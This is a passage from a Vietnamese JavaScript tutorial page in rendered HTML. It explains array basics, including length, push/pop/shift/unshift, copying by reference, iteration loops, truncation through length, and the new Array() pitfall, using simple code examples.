class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// d</span></code></pre></div> <h2 id="một-số-đặc-điểm-của-array-trong-javascript" style="position:relative;"><a href="#m%E1%BB%99t-s%E1%BB%91-%C4%91%E1%BA%B7c-%C4%91i%E1%BB%83m-c%E1%BB%A7a-array-trong-javascript" aria-label="một số đặc điểm của array trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Một số đặc điểm của array trong JavaScript</h2> <p>Tổng số phần tử trong mảng được xác định qua thuộc tính <code>length</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> letters <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token string">"c"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>letters<span class="token punctuation">.</span>length<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 3</span></code></pre></div> <p>Bạn có thể in ra toàn bộ giá trị của mảng:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> letters <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token string">"c"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>letters<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (3) ['a', 'b', 'c']</span></code></pre></div> <p>Giá trị các phần tử trong mảng có thể thuộc bất kỳ <a href="/kieu-du-lieu-trong-javascript/">kiểu dữ liệu</a> nào:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span> <span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token comment">// string</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token comment">// number</span> <span class="token keyword">null</span><span class="token punctuation">,</span> <span class="token comment">// null</span> <span class="token keyword">undefined</span><span class="token punctuation">,</span> <span class="token comment">// undefined</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token comment">// object</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// hàm</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"hello"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// giá trị tại chỉ số 4 là object { x: 1}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">]</span><span class="token punctuation">.</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span> <span class="token comment">// giá trị tại chỉ số 5 là hàm</span> arr<span class="token punctuation">[</span><span class="token number">5</span><span class="token punctuation">]</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// hello</span></code></pre></div> <p>Tương tự như object, array có thể <strong>có hoặc không</strong> dùng "dấu phẩy đuôi" - dấu phẩy sau phần tử cuối cùng.</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span> <span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token keyword">null</span><span class="token punctuation">,</span> <span class="token keyword">undefined</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"hello"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span><span class="token punctuation">,</span></span><span class="token punctuation">]</span><span class="token punctuation">;</span></code></pre></div> <p>Việc thêm dấu phẩy sau phần tử cuối cùng giúp <strong>phần biểu diễn các thuộc tính giống nhau</strong>. Qua đó, việc <strong>thêm/xóa</strong> phần tử trở nên dễ dàng hơn.</p> <h2 id="một-số-phương-thức-cơ-bản-của-array" style="position:relative;"><a href="#m%E1%BB%99t-s%E1%BB%91-ph%C6%B0%C6%A1ng-th%E1%BB%A9c-c%C6%A1-b%E1%BA%A3n-c%E1%BB%A7a-array" aria-label="một số phương thức cơ bản của array permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Một số phương thức cơ bản của array</h2> <p>Một số phương thức cơ bản của array trong JavaScript là: <code>arr.pop()</code>, <code>arr.push()</code>, <code>arr.shift()</code> và <code>arr.unshift()</code>.</p> <p>► Phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/pop"><code>arr.pop()</code></a></p> <p>Lấy ra và trả về phần tử cuối cùng của mảng.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> letters <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token string">"c"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">let</span> item <span class="token operator">=</span> letters<span class="token punctuation">.</span><span class="token function">pop</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>item<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// c</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>letters<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (2) ['a', 'b']</span></code></pre></div> <p>► Phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/push"><code>arr.push()</code></a></p> <p>Thêm <strong>một hoặc nhiều</strong> phần tử vào cuối mảng và trả về độ dài mới của mảng.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> letters <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token string">"c"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// thêm một phần tử vào cuối mảng</span> <span class="token keyword">let</span> length <span class="token operator">=</span> letters<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span><span class="token string">"d"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>length<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 4</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>letters<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (4) ['a', 'b', 'c', 'd']</span> <span class="token comment">// thêm nhiều phần tử vào cuối mảng</span> length <span class="token operator">=</span> letters<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span><span class="token string">"e"</span><span class="token punctuation">,</span> <span class="token string">"f"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>length<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 6</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>letters<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (6) ['a', 'b', 'c', 'd', 'e', 'f']</span></code></pre></div> <p>► Phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/shift"><code>arr.shift()</code></a></p> <p>Lấy ra và trả về phần tử đầu tiên của mảng.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> letters <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token string">"c"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">let</span> item <span class="token operator">=</span> letters<span class="token punctuation">.</span><span class="token function">shift</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>item<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// a</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>letters<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (2) ['b', 'c']</span></code></pre></div> <p>► Phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/unshift"><code>arr.unshift()</code></a></p> <p>Thêm <strong>một hoặc nhiều</strong> phần tử vào đầu mảng.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> letters <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token string">"c"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// thêm một phần tử vào đầu mảng</span> <span class="token keyword">let</span> length <span class="token operator">=</span> letters<span class="token punctuation">.</span><span class="token function">unshift</span><span class="token punctuation">(</span><span class="token string">"d"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>length<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 4</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>letters<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (4) ['d', 'a', 'b', 'c']</span> <span class="token comment">// thêm nhiều phần tử vào đầu mảng</span> length <span class="token operator">=</span> letters<span class="token punctuation">.</span><span class="token function">unshift</span><span class="token punctuation">(</span><span class="token string">"e"</span><span class="token punctuation">,</span> <span class="token string">"f"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>length<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 6</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>letters<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (6) ['e', 'f', 'd', 'a', 'b', 'c']</span></code></pre></div> <h2 id="mối-liên-hệ-giữa-array-và-object" style="position:relative;"><a href="#m%E1%BB%91i-li%C3%AAn-h%E1%BB%87-gi%E1%BB%AFa-array-v%C3%A0-object" aria-label="mối liên hệ giữa array và object permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Mối liên hệ giữa array và object</h2> <p>Như mình đã nói ở trên, array về bản chất cũng là object. Cú pháp truy cập phần tử của mảng <code>arr[index]</code> tương tự như cú pháp của object <code>obj[key]</code>. Nói cách khác, <code>index</code> ở array tương đương <code>key</code> của object.</p> <p>Và khi <strong>copy array</strong> thì đó cũng là <strong>copy qua tham chiếu</strong> - tương tự như <a href="/copy-object-trong-javascript/">copy object</a>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> letters <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token string">"c"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">let</span> copied <span class="token operator">=</span> letters<span class="token punctuation">;</span> <span class="token comment">// giá trị của copied hoàn toàn giống letters</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>copied<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (3) ['a', 'b', 'c']</span> <span class="token comment">// khi thay đổi giá trị của copied</span> copied<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token string">"new value"</span><span class="token punctuation">;</span> <span class="token comment">// giá trị của letters cũng thay đổi</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>letters<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// new value</span></code></pre></div> <p>Điều đặc biệt hơn của array so với object là: array lưu trữ dữ liệu theo thứ tự.</p> <p><a href="/javascript-la-gi/#javascript-engine-l%C3%A0-g%C3%AC">JavaScript Engine</a> sẽ cố gắng lưu trữ các phần tử của mảng vào các vùng nhớ liên tiếp nhau. Và tối ưu hóa để làm sao truy cập các phần tử mảng nhanh nhất.</p> <p>Nhưng tất cả những điều này sẽ không còn đúng nữa, nếu bạn <strong>sử dụng array theo kiểu của object</strong>, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// mảng ban đầu có 3 phần tử</span> <span class="token keyword">let</span> letters <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token string">"c"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// thêm một phần tử vào mảng ở chỉ số lớn hơn kích thước mảng</span> letters<span class="token punctuation">[</span><span class="token number">1000</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token string">"d"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>letters<span class="token punctuation">[</span><span class="token number">1000</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// d</span> <span class="token comment">// thêm thuộc tính với tên tùy ý vào mảng</span> letters<span class="token punctuation">.</span>x <span class="token operator">=</span> <span class="token number">100</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>letters<span class="token punctuation">.</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 100</span> <span class="token comment">// độ dài của mảng tăng bất thường</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>letters<span class="token punctuation">.</span>length<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1001</span></code></pre></div> <p>Cách sử dụng trên <strong>không có lỗi cú pháp</strong> nhưng không đúng với ý nghĩa khi tạo ra <strong>array trong JavaScript</strong>.</p> <p>Mục đích của array là để lưu trữ dữ liệu theo thứ tự. Nếu bạn muốn lưu trữ thuộc tính với key bất kỳ thì hãy sử dụng object thông thường <code>{}</code>.</p> <h2 id="duyệt-tất-cả-các-phần-tử-trong-mảng" style="position:relative;"><a href="#duy%E1%BB%87t-t%E1%BA%A5t-c%E1%BA%A3-c%C3%A1c-ph%E1%BA%A7n-t%E1%BB%AD-trong-m%E1%BA%A3ng" aria-label="duyệt tất cả các phần tử trong mảng permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Duyệt tất cả các phần tử trong mảng</h2> <p>Cách cơ bản nhất để <strong>duyệt tất cả các phần tử</strong> của mảng trong JavaScript là dùng <a href="/vong-lap-trong-javascript/">vòng lặp for</a> với chỉ số:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> letters <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token string">"c"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> letters<span class="token punctuation">.</span>length<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>letters<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Kết quả:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">a b c</code></pre></div> <p>Nếu không quan tâm đến chỉ số, bạn có thể dùng vòng lặp <code>for...of</code> cho ngắn gọn hơn:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> letters <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token string">"c"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> value <span class="token keyword">of</span> letters<span class="token punctuation">)</span> <span class="token punctuation">{</span></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>value<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Ngoài ra, bạn cũng có thể dùng vòng lặp <code>for...in</code> tương tự như cách duyệt tất cả các key trong object:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> letters <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token string">"c"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> key <span class="token keyword">in</span> letters<span class="token punctuation">)</span> <span class="token punctuation">{</span></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>letters<span class="token punctuation">[</span>key<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Cách sử dụng <code>for...in</code> không sai, nhưng có một số vấn đề là:</p> <ul> <li>Cách này không tối ưu cho duyệt mảng nên thường chậm hơn hai cách trên.</li> <li>Đối với một số object dạng "array-like", ngoài <code>length</code> và chỉ số ra thì "array-like" còn có thêm một số thuộc tính khác nữa. Việc sử dụng <code>for...in</code> sẽ duyệt hết tất cả các thuộc tính (bao gồm dạng số và không phải dạng số). Điều này là không cần thiết.</li> </ul> <p>Nói chung, không nên sử dụng <code>for...in</code> để duyệt hết tất cả các phần tử của array trong JavaScript.</p> <h2 id="vấn-đề-liên-quan-đến-length-của-array" style="position:relative;"><a href="#v%E1%BA%A5n-%C4%91%E1%BB%81-li%C3%AAn-quan-%C4%91%E1%BA%BFn-length-c%E1%BB%A7a-array" aria-label="vấn đề liên quan đến length của array permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Vấn đề liên quan đến <code>length</code> của array</h2> <p>Thuộc tính <code>length</code> được tự động cập nhật mỗi khi bạn thêm/xóa phần tử trong mảng. Nhưng <code>length</code> không thật sự biểu thị số lượng phần tử trong mảng.</p> <p>Giá trị của <code>length</code> bằng chỉ số lớn nhất trong mảng cộng thêm 1 đơn vị, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span> arr<span class="token punctuation">[</span><span class="token number">1000</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token string">"a"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">.</span>length<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1001</span></code></pre></div> <blockquote> <p><strong>Chú ý:</strong> đây chỉ là ví dụ minh họa, bạn <strong>không nên</strong> sử dụng array theo cách này.</p> </blockquote> <p>Thuộc tính <code>length</code> là <strong>writable</strong>. Nghĩa là bạn có thể thay đổi giá trị của thuộc tính <code>length</code>.</p> <p>Nếu bạn tăng nó lên thì không sao. Nhưng ngược lại, nếu bạn giảm giá trị của <code>length</code> thì mảng sẽ bị cắt ngắn đi:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> letters <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token string">"c"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>letters<span class="token punctuation">.</span>length<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 3</span> <span class="token comment">// giảm length xuống thành 2</span> letters<span class="token punctuation">.</span>length <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>letters<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (2) ['a', 'b']</span> <span class="token comment">// tăng length thành 5</span> letters<span class="token punctuation">.</span>length <span class="token operator">=</span> <span class="token number">5</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>letters<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// undefined - giá trị cũ là "c"</span></code></pre></div> <p>Trong ví dụ trên, khi bạn giảm <code>length</code> rồi tăng <code>length</code> trở lại, giá trị trước đó trong mảng (<code>letters[2]</code>) không được khôi phục trở lại.</p> <blockquote> <p>💡 Cách đơn giản nhất để xóa mảng là gán <code>length</code> bằng 0: <code>arr.length = 0</code>.</p> </blockquote> <h2 id="vấn-đề-về-cú-pháp-new-array" style="position:relative;"><a href="#v%E1%BA%A5n-%C4%91%E1%BB%81-v%E1%BB%81-c%C3%BA-ph%C3%A1p-new-array" aria-label="vấn đề về cú pháp new array permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Vấn đề về cú pháp <code>new Array()</code></h2> <p>Đây là một cú pháp khác để khởi tạo array trong JavaScript:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> letters <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Array</span><span class="token punctuation">(</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token string">"c"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>letters<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (3) ['a', 'b', 'c']</span></code></pre></div> <p>Cú pháp trên khởi tạo array với ba phần tử tương tự như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> letters <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token string">"c"</span><span class="token punctuation">]</span><span class="token punctuation">;</span></code></pre></div> <p>Tuy nhiên, việc sử dụng <code>new Array()</code> lại khá ít dùng vì nó chậm và có một trường hợp khó hiểu.</p> <p>Câu lệnh <code>new Array(number)</code> với <code>number</code> là một số, không khởi tạo mảng có 1 phần tử là <code>number</code> mà khởi tạo mảng có <code>number</code> phần tử.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Tham số truyền vào là string</span> <span class="token keyword">let</span> arr1 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Array</span><span class="token punctuation">(</span><span class="token string">"1"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr1<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// ["1"]</span> <span class="token comment">// Tham số truyền vào là số</span> <span class="token keyword">let</span> arr2 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Array</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr2<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// [empty]</span></code></pre></div> <blockquote> <p>💡 Để tránh nhầm lẫn, bạn chỉ nên sử dụng dấu ngoặc vuông <code>[]</code> để khởi tạo mảng (trừ khi bạn có mục đích đặc biệt nào khác).</p> </blockquote> <h2 id="mảng-nhiều-chiều" style="position:relative;"><a href="#m%E1%BA%A3ng-nhi%E1%BB%81u-chi%E1%BB%81u" aria-label="mảng nhiều chiều permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 